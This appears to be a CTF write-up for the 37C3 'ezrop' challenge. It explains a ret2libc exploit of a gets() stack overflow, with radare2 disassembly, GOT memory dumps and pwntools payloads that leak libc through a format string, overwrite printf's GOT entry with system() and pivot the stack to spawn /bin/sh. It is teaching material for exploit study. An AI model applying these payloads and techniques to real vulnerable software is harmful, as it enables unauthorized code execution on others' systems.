37C3 CTF: ezrop

ctf reversing exploitation rop radare2 r2


This is a writeup for the 37C3 CTF challenge ezrop with the following description: Pretty standard ret2libc pwn challenge.. A binary with partial RELRO, no PIC and no canary was given, along with the libc that’s deployed on the target server. This writeup shows how to solve the challenge using r2 and pwntools-r2.

Triggering the buffer overflow vulnerability is straight forward: Passing a long string causes a segmentation fault in the function vuln(). This function calls printf() for a prompt and then proceeds to read input using gets() into a buffer that’s too small. Next, an information leak of a libc address is required to move forward. Only few ROP gadgets exist and the plan is to somehow call system() with /bin/sh as argument. To predict the address of system(), the information leak is required.

For such an information leak, you can use something like the ret2plt technique, which essentially calls printf@PLT(printf@GOT) (see here for a post on this topic). This causes the program to print the address of printf@GOT(), which is a libc address. Existing code in the vuln() function can be recycled for something like this:

[0x00401090]> s sym.vuln
[0x004011db]> pd
;-- vuln:
0x004011db      f30f1efa       endbr64
0x004011df      55             push rbp
0x004011e0      4889e5         mov rbp, rsp
0x004011e3      4883ec20       sub rsp, 0x20
0x004011e7      488d05160e00.  lea rax, str.Enter_your_name:_
0x004011ee      4889c7         mov rdi, rax <------
0x004011f1      b800000000     mov eax, 0
0x004011f6      e865feffff     call sym.imp.printf
0x004011fb      488d45e0       lea rax, [rbp - 0x20]
0x004011ff      4889c7         mov rdi, rax
0x00401202      b800000000     mov eax, 0
0x00401207      e864feffff     call sym.imp.gets
0x0040120c      90             nop
0x0040120d      c9             leave
0x0040120e      c3             ret

At 0x4011ee, we control the data referenced by the RAX register. This means that a call to printf() can be made with an attacker-controlled format string, since this is the first parameter. With a correct format string, the printf() function will then print the contents of the RSI register, which holds a libc address:

p.sendline(
    b"%llx----" + # format string and padding
    b"GGGGGAAFAAGAAHAAIAAJAAKA" + #  padding
    p64(e.got['printf'] + 0x10) + # new rbp (for gets() after printf())
    p64(0x4011ee) # RIP, prepare RDI and printf()
)

The leaked value can then be used to calculate the offset to the start of the libc by subtracting the static offset 0x1d8963. This offset was obtained by checking the leaked address and the start of libc using a debugger.

The next challenge is to keep the process running after the printf() call, since we have to re-exploit it after the leak took place. As can be seen in the ASM listing above, gets() will be called directly after triggering the information leak. This call can be used to supply the second payload. However, since the stack was smashed, a writable destination for the buffer written by gets() has to be determined and supplied first. We control this value using our input, as can be seen at 0x4011fb.

Checking the process for writable locations shows that the only candidate is the GOT, which resides at a static location:

0x0040120f]> dm~rw-
0x0000000000404000 - 0x0000000000405000 - usr     4K s rw- [...]/ezrop ; obj._GLOBAL_OFFSET_TABLE_

In this case, the GOT is writable since only partial RELRO is enabled. The location has a size of 4k, which is much more than the program actually needs:

[0x0040120f]> pxq@0x404000
0x00404000  0x0000000000403e20  0x00007f003e3042d0    >@......B0>....
0x00404010  0x00007f003e2e2ae0  0x0000000000401030   .*.>....0.@.....
0x00404020  0x0000000000401040  0x0000000000401050   @.@.....P.@.....
0x00404030  0x0000000000000000  0x0000000000000000   ................
0x00404040  0x00007f003e2855c0  0x0000000000000000   .U(>............
0x00404050  0x00007f003e2848e0  0x0000000000000000   .H(>............
0x00404060  0x00007f003e2854e0  0x0000000000000000   .T(>............
0x00404070  0x0000000000000000  0x0000000000000000   ................
0x00404080  0x0000000000000000  0x0000000000000000   ................
0x00404090  0x0000000000000000  0x0000000000000000   ................
0x004040a0  0x0000000000000000  0x0000000000000000   ................
0x004040b0  0x0000000000000000  0x0000000000000000   ................
0x004040c0  0x0000000000000000  0x0000000000000000   ................

We chose 0x404008 (got['printf']) as new destination for the second ROP chain. Note that 0x10 is subtracted somewhere in the program, so we added 0x10.

There’s enough space in the GOT to hold the second payload. However, the existing values in the GOT have to be kept intact or the program will crash. With the leaked libc base address, it’s possible to pre-calculate the values which will be overwritten by the second payload. This means that the GOT entries remain untouched, while the second stage payload is being placed directly after the last GOT entry. We only change one GOT entry: The address of the printf() function with the goal to change it to the address of system(). Therefore, next time printf() gets called, execution jumps to system() instead and we win.

After the second puts() call, RSP holds the value 0x404030, which we control. However, the next gadget is located at 0x4046f8, so a leave gadget has to be utilized before calling any other gadget first. This ultimately leads to RBP (0x4046f0) being placed into RSP, which is important for the ROP chain execution:

p.sendline(b"/bin/sh\x00" + p64(0x1337) +
           p64(libc_system) +  # overwrite printf() GOT entry
           p64(libc_gets) +  # keep value
           p64(0x4046f0) +  # second ROP chain location (in GOT, is writable)
           p64(0x40120d) +  # leave; ret; (RBP becomes RSP)
           p64(0x1337) + p64(libc_stdout) +  # keep value
           p64(0x1337) + p64(libc_stdin) +  # keep value
           p64(0x1337) + p64(libc_stderr) +  # keep value
           p64(0x1337) * 210 + p64(0x4011ee)  # prepare RDI and printf()

After the leave; ret; instructions at 0x40120d, RSP points to 0x4046f8, where the printf() gadget (0x4011ee) is:

0x004011ee      4889c7         mov rdi, rax
0x004011f1      b800000000     mov eax, 0
0x004011f6      e865feffff     call sym.imp.printf (aka system)

Then, RAX points to the start of our payload (/bin/sh\x00), so finally system() can be called:

BinaryGolf 2023: Building A GameBoy-Bash Polyglot

binary ctf

Analysis of Satisfyer Toys: Discovering an Authentication Bypass with r2 and Frida

radare2 r2 frida r2frida reverse-engineering web vulnerability

Command Injection in LaTeX Workshop

exploitation vulnerability